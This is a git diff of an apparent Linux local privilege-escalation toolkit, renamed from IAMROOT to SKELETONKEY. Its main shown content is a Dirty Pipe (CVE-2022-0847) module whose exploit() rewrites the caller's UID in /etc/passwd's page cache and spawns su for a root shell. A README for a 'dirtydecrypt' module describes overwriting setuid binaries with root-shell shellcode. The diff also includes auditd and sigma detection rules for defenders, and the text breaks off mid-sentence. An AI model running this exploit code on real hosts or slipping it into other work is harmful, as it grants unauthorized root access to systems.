|
## Implementation plan
|
||||||
@@ -34,8 +34,8 @@ systems.
|
|||||||
`NOTICE.md` when implemented)
|
`NOTICE.md` when implemented)
|
||||||
- `detect()`: kernel version check + `/proc/version` parse + test
|
- `detect()`: kernel version check + `/proc/version` parse + test
|
||||||
for fixed-version backports
|
for fixed-version backports
|
||||||
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
|
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
|
||||||
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
|
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
|
||||||
backdoor mode
|
backdoor mode
|
||||||
- Detection rules: auditd on splice() calls + pipe write patterns,
|
- Detection rules: auditd on splice() calls + pipe write patterns,
|
||||||
filesystem audit on `/etc/passwd` modification by non-root
|
filesystem audit on `/etc/passwd` modification by non-root
|
||||||
@@ -44,4 +44,4 @@ systems.
|
|||||||
|
|
||||||
Pick this up after Phase 1 (module-interface refactor of the
|
Pick this up after Phase 1 (module-interface refactor of the
|
||||||
copy_fail family) so this module can use the standard
|
copy_fail family) so this module can use the standard
|
||||||
`iamroot_module` shape from the start.
|
`skeletonkey_module` shape from the start.
|
||||||
|
|||||||
@@ -0,0 +1,21 @@
|
|||||||
|
# NOTICE — dirty_pipe
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2022-0847** — pipe `PIPE_BUF_FLAG_CAN_MERGE` flag inheritance allows
|
||||||
|
arbitrary file write into the page cache.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **Max Kellermann** (CM4all GmbH), March 2022.
|
||||||
|
|
||||||
|
Original advisory: <https://dirtypipe.cm4all.com/>
|
||||||
|
|
||||||
|
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
This module bundles the canonical splice-into-pipe primitive that
|
||||||
|
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
|
||||||
|
via `su`. Detection covers the splice() syscall against sensitive
|
||||||
|
files and non-root modifications to passwd/shadow.
|
||||||
@@ -13,14 +13,14 @@
|
|||||||
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
|
||||||
# any modification by non-root — the Dirty Pipe payload typically
|
# any modification by non-root — the Dirty Pipe payload typically
|
||||||
# overwrites these to gain root.
|
# overwrites these to gain root.
|
||||||
-w /etc/passwd -p wa -k iamroot-dirty-pipe
|
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
|
||||||
-w /etc/shadow -p wa -k iamroot-dirty-pipe
|
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
|
||||||
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
|
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
|
||||||
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
|
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
|
||||||
|
|
||||||
# Watch every splice() syscall — combined with the file watches above
|
# Watch every splice() syscall — combined with the file watches above
|
||||||
# this catches the canonical exploit shape. (High volume on servers
|
# this catches the canonical exploit shape. (High volume on servers
|
||||||
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
|
||||||
# exclude web servers.)
|
# exclude web servers.)
|
||||||
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
|
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
|
||||||
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
|
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
|
||||||
id: f6b13c08-iamroot-dirty-pipe
|
id: f6b13c08-skeletonkey-dirty-pipe
|
||||||
status: experimental
|
status: experimental
|
||||||
description: |
|
description: |
|
||||||
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
|
||||||
@@ -10,7 +10,7 @@ description: |
|
|||||||
references:
|
references:
|
||||||
- https://dirtypipe.cm4all.com/
|
- https://dirtypipe.cm4all.com/
|
||||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
|
||||||
author: IAMROOT
|
author: SKELETONKEY
|
||||||
date: 2026/05/16
|
date: 2026/05/16
|
||||||
logsource:
|
logsource:
|
||||||
product: linux
|
product: linux
|
||||||
|
|||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
|
|
||||||
#define DIRTY_PIPE_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module dirty_pipe_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+93
-53
@@ -1,9 +1,9 @@
|
|||||||
/*
|
/*
|
||||||
* dirty_pipe_cve_2022_0847 — IAMROOT module
|
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
||||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
* commit (the C code is well-understood — Max Kellermann's public PoC
|
||||||
* is the reference — but landing it under the iamroot_module
|
* is the reference — but landing it under the skeletonkey_module
|
||||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
* interface needs the shared passwd-field/exploit-su helpers in core/
|
||||||
* which are deferred to Phase 1.5).
|
* which are deferred to Phase 1.5).
|
||||||
*
|
*
|
||||||
@@ -15,24 +15,23 @@
|
|||||||
*
|
*
|
||||||
* Detect logic:
|
* Detect logic:
|
||||||
* - Parse uname() release into major.minor.patch
|
* - Parse uname() release into major.minor.patch
|
||||||
* - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
|
* - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
|
||||||
* - If kernel is on a branch with a known backport, compare patch
|
* - If kernel is on a branch with a known backport, compare patch
|
||||||
* level (above threshold = patched, below = vulnerable)
|
* level (above threshold = patched, below = vulnerable)
|
||||||
* - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
|
* - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
|
||||||
* - Otherwise → IAMROOT_VULNERABLE
|
* - Otherwise → SKELETONKEY_VULNERABLE
|
||||||
*
|
*
|
||||||
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
||||||
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
||||||
* counter, NOT the upstream patch level). For now we treat that as
|
* counter, NOT the upstream patch level). For now we treat that as
|
||||||
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
|
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
|
||||||
* hint. A future enhancement: parse /proc/version's full string
|
* hint. A future enhancement: parse /proc/version's full string
|
||||||
* which usually includes the upstream patch level after the distro
|
* which usually includes the upstream patch level after the distro
|
||||||
* suffix.
|
* suffix.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||||
* redefine here (warning: redefined). */
|
* redefine here (warning: redefined). */
|
||||||
@@ -42,6 +41,11 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h" /* used inside this block only */
|
||||||
|
#include "../../core/host.h"
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
@@ -223,7 +227,7 @@ static const struct kernel_range dirty_pipe_range = {
|
|||||||
* /etc/passwd writes; safe to run from --scan --active. */
|
* /etc/passwd writes; safe to run from --scan --active. */
|
||||||
static int dirty_pipe_active_probe(void)
|
static int dirty_pipe_active_probe(void)
|
||||||
{
|
{
|
||||||
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
|
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
|
||||||
int fd = mkstemp(probe_path);
|
int fd = mkstemp(probe_path);
|
||||||
if (fd < 0) return -1;
|
if (fd < 0) return -1;
|
||||||
const char seed[16] = "ABCDABCDABCDABCD";
|
const char seed[16] = "ABCDABCDABCDABCD";
|
||||||
@@ -252,24 +256,29 @@ static int dirty_pipe_active_probe(void)
|
|||||||
return readback[4] == 'X' ? 1 : 0;
|
return readback[4] == 'X' ? 1 : 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
return IAMROOT_TEST_ERROR;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.8. */
|
/* Bug introduced in 5.8. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
|
||||||
|
|
||||||
/* Active probe overrides version-only verdict when requested.
|
/* Active probe overrides version-only verdict when requested.
|
||||||
* The version check is necessary-but-not-sufficient: distros
|
* The version check is necessary-but-not-sufficient: distros
|
||||||
@@ -284,9 +293,9 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (probe == 1) {
|
if (probe == 1) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||||
"(version %s)\n", v.release);
|
"(version %s)\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (probe == 0) {
|
if (probe == 0) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -294,7 +303,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
|||||||
"primitive blocked (likely patched%s)\n",
|
"primitive blocked (likely patched%s)\n",
|
||||||
patched_by_version ? "" : ", or distro silently backported");
|
patched_by_version ? "" : ", or distro silently backported");
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
||||||
* back to version-only verdict and report TEST_ERROR caveat */
|
* back to version-only verdict and report TEST_ERROR caveat */
|
||||||
@@ -307,37 +316,40 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
|||||||
if (patched_by_version) {
|
if (patched_by_version) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||||
"use --active to confirm empirically)\n", v.release);
|
"use --active to confirm empirically)\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||||
" Confirm empirically: re-run with --scan --active\n",
|
" Confirm empirically: re-run with --scan --active\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
||||||
iamroot_result_t pre = dirty_pipe_detect(ctx);
|
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Resolve current user. */
|
/* Resolve current user. Consult ctx->host->is_root for the
|
||||||
|
* already-root short-circuit so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
uid_t euid = geteuid();
|
uid_t euid = geteuid();
|
||||||
struct passwd *pw = getpwuid(euid);
|
struct passwd *pw = getpwuid(euid);
|
||||||
if (!pw) {
|
if (!pw) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
|
||||||
if (euid == 0) {
|
|
||||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
|
||||||
return IAMROOT_OK;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||||
@@ -349,7 +361,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
||||||
pw->pw_name);
|
pw->pw_name);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||||
@@ -368,7 +380,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
* far past the file's first 4096 bytes. Refuse cleanly. */
|
||||||
if ((uid_off & 0xfff) == 0) {
|
if ((uid_off & 0xfff) == 0) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -377,13 +389,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
||||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
||||||
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
|
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
||||||
@@ -394,35 +406,63 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
/* If execlp returns, su didn't actually pop root — revert and report. */
|
||||||
perror("execlp(su)");
|
perror("execlp(su)");
|
||||||
revert_passwd_page_cache();
|
revert_passwd_page_cache();
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
||||||
}
|
}
|
||||||
revert_passwd_page_cache();
|
revert_passwd_page_cache();
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
|
||||||
|
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
|
||||||
|
* unreachable elsewhere. Stub out cleanly so the module still
|
||||||
|
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||||
|
* boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
|
||||||
|
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* Embedded detection rules — keep the binary self-contained so
|
/* Embedded detection rules — keep the binary self-contained so
|
||||||
* `iamroot --detect-rules --format=auditd` works without a separate
|
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||||
* data-dir install. */
|
* data-dir install. */
|
||||||
static const char dirty_pipe_auditd[] =
|
static const char dirty_pipe_auditd[] =
|
||||||
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
||||||
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
||||||
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
|
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
|
||||||
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
|
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
|
||||||
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
|
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
|
||||||
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
|
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
|
||||||
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
|
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||||
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
|
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||||
|
|
||||||
static const char dirty_pipe_sigma[] =
|
static const char dirty_pipe_sigma[] =
|
||||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||||
"id: f6b13c08-iamroot-dirty-pipe\n"
|
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"logsource: {product: linux, service: auditd}\n"
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
"detection:\n"
|
"detection:\n"
|
||||||
@@ -435,7 +475,7 @@ static const char dirty_pipe_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
||||||
|
|
||||||
const struct iamroot_module dirty_pipe_module = {
|
const struct skeletonkey_module dirty_pipe_module = {
|
||||||
.name = "dirty_pipe",
|
.name = "dirty_pipe",
|
||||||
.cve = "CVE-2022-0847",
|
.cve = "CVE-2022-0847",
|
||||||
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
||||||
@@ -451,7 +491,7 @@ const struct iamroot_module dirty_pipe_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_dirty_pipe(void)
|
void skeletonkey_register_dirty_pipe(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&dirty_pipe_module);
|
skeletonkey_register(&dirty_pipe_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||||
|
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module dirty_pipe_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
# dirtydecrypt — CVE-2026-31635
|
||||||
|
|
||||||
|
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||||
|
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||||
|
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
|
||||||
|
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
|
||||||
|
incoming rxgk socket buffers **in place** before the HMAC is verified.
|
||||||
|
When the skb fragment pages are page-cache pages — spliced in via
|
||||||
|
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
|
||||||
|
page cache of a read-only file.
|
||||||
|
|
||||||
|
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||||
|
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
|
||||||
|
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
|
||||||
|
|
||||||
|
## Primitive
|
||||||
|
|
||||||
|
Each `fire()`:
|
||||||
|
|
||||||
|
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
|
||||||
|
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
|
||||||
|
completes the rxgk handshake.
|
||||||
|
3. Forges a DATA packet whose **wire header comes from userspace** and
|
||||||
|
whose **payload pages come from the target file's page cache**
|
||||||
|
(`splice` + `vmsplice`).
|
||||||
|
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
|
||||||
|
check then fails (expected), but the page cache is already mutated.
|
||||||
|
|
||||||
|
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
|
||||||
|
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
|
||||||
|
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
|
||||||
|
15-byte collateral of round _i_ without disturbing the byte round _i_
|
||||||
|
fixed. Net cost ≈ 256 fires per byte.
|
||||||
|
|
||||||
|
The exploit rewrites the first 120 bytes of a setuid-root binary
|
||||||
|
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
|
||||||
|
`setuid(0)` + `execve("/bin/sh")`.
|
||||||
|
|
||||||
|
## Operations
|
||||||
|
|
||||||
|
| Op | Behaviour |
|
||||||
|
|---|---|
|
||||||
|
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||||
|
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||||
|
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
|
||||||
|
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||||
|
|
||||||
|
## Preconditions
|
||||||
|
|
||||||
|
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
|
||||||
|
- A readable setuid-root binary to use as the payload carrier.
|
||||||
|
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
This module is a **faithful port** of
|
||||||
|
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
|
||||||
|
into the SKELETONKEY module interface. The **exploit body** has not
|
||||||
|
been validated end-to-end against a known-vulnerable kernel inside the
|
||||||
|
SKELETONKEY CI matrix.
|
||||||
|
|
||||||
|
**`detect()` is now version-pinned** against the mainline fix commit
|
||||||
|
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
|
||||||
|
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
|
||||||
|
